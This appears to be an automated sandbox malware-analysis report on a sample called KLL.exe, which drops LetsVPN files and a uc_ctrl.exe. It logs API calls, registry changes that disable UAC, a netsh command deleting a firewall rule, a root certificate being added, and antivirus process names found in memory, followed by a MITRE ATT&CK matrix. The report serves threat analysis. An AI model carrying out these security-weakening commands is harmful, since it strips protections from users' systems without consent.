Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_00007FF7B0D5139C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7B0D5139C

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe

Code function: 16_2_6C696E75 __EH_prolog3_GS,GetVersionExW,_wcschr,CoInitializeEx,CoCreateInstance,

16_2_6C696E75

Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable UAC(promptonsecuredesktop)

Source: C:\Windows\System32\reg.exe

Registry value created: PromptOnSecureDesktop 0

Jump to behavior

Disables UAC (registry)

Source: C:\Windows\System32\reg.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Modifies the windows firewall

Source: C:\ProgramData\letsvpn-latest.exe

Process created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\Desktop\KLL.exe

Process created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\In82D.xml

Source: uc_ctrl.exe, 00000010.00000002.3912965500.0000000002E1B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: uc_ctrl.exe, 00000010.00000002.3912965500.0000000002E1B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: rtvscan.exe
Source: uc_ctrl.exe, 00000010.00000002.3912965500.0000000002E1B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: uc_ctrl.exe, 00000010.00000002.3912965500.0000000002E1B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: a2guard.exe
Source: uc_ctrl.exe, 00000010.00000002.3912965500.0000000002E1B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: RavMonD.exe

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Blob

Stealing of Sensitive Information

Modifies the DNS server

Source: C:\Windows\System32\svchost.exe

Registry value created:

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C672940 ?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ,MessageBoxA,	16_2_6C672940
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C668200 ?Download@CWebBrowserUI@UiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z,MessageBoxA,	16_2_6C668200
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C669440 ?GetBindTabLayoutName@COptionUI@UiLib@@QAE?AV?$CStringT@_WV?$StrTraitATL@_WV?$ChTraitsCRT@_W@ATL@@@ATL@@@ATL@@XZ,MessageBoxA,	16_2_6C669440
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C669420 ?GetBindTabLayoutIndex@COptionUI@UiLib@@QAEHXZ,MessageBoxA,	16_2_6C669420
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C6670E0 ?BindTabIndex@COptionUI@UiLib@@QAEXH@Z,MessageBoxA,	16_2_6C6670E0
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C667140 ?BindUnionButton@CButtonUI@UiLib@@QAEXPAV12@_N1@Z,MessageBoxA,	16_2_6C667140
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C667120 ?BindTriggerTabSel@COptionUI@UiLib@@QAEXH@Z,MessageBoxA,	16_2_6C667120
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Code function: 16_2_6C667100 ?BindTabLayoutName@COptionUI@UiLib@@QAEXPB_W@Z,MessageBoxA,	16_2_6C667100

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Replication Through Removable Media	331 Windows Management Instrumentation	1 Scripting	1 LSASS Driver	311 Disable or Modify Tools	31 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 LSASS Driver	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	31 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	13 Command and Scripting Interpreter	1 DLL Side-Loading	1 Bypass User Account Control	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	2 Clipboard Data	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	3 Windows Service	1 Access Token Manipulation	1 Software Packing	NTDS	168 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	11 Registry Run Keys / Startup Folder	3 Windows Service	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	371 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Bypass User Account Control	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	42 Masquerading	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	2 Modify Registry	Network Sniffing	2 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	261 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	12 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
KLL.exe	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Program Files (x86)\letsvpn\LetsPRO.exe	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\Update.exe	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	3%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll	0%	ReversingLabs
